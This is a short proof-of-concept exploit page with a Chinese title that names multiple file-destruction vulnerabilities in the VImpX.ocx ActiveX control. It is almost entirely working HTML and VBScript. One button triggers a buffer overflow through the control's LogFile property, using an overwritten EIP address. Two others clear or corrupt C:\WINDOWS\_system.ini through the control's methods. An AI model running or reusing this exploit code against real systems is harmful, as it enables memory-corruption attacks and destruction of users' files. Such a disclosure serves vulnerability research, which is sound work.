VImpX.ocx ActiveX控件多个文件破坏漏洞

<object classid='clsid:7600707B-9F47-416D-8AB5-6FD96EA37968' id='test' width='20' height='20'></object> <input language=VBScript onclick=bof() type=button value='Click here to start the Remote Buffer Overflow test' style="width: 361px; height: 24px" size=21> <input language=VBScript onclick=afd() type=button value='Click here to start the File Content Deletion test' style="width: 361px; height: 24px" size=21> <input language=VBScript onclick=afc() type=button value='Click here to start the File Content Corruption test' style="width: 361px; height: 24px" size=21> <script language='vbscript'> Sub bof buff = String(256,"A") EDI = unescape("BBBB") ESI = unescape("CCCC") EBX = unescape("DDDD") EIP = unescape("%C6%91%3A%7E") 'unescape("EEEE") buf2 = unescape("FFFFFFFFFFFFFFFFFFFF") memo = unescape("%00%00%01%00") rest = unescape("GGGG") + String(2000, "H") egg = buff + EDI + ESI + EBX + EIP + buf2 + memo + rest test.LogFile = egg End Sub Sub afd test.LogFile = "C:\WINDOWS\_system.ini" test.ClearLogFile MsgBox "Exploit completed..." End Sub Sub afc test.SaveToFile "C:\WINDOWS\_system.ini" MsgBox "Exploit completed..." End Sub </script>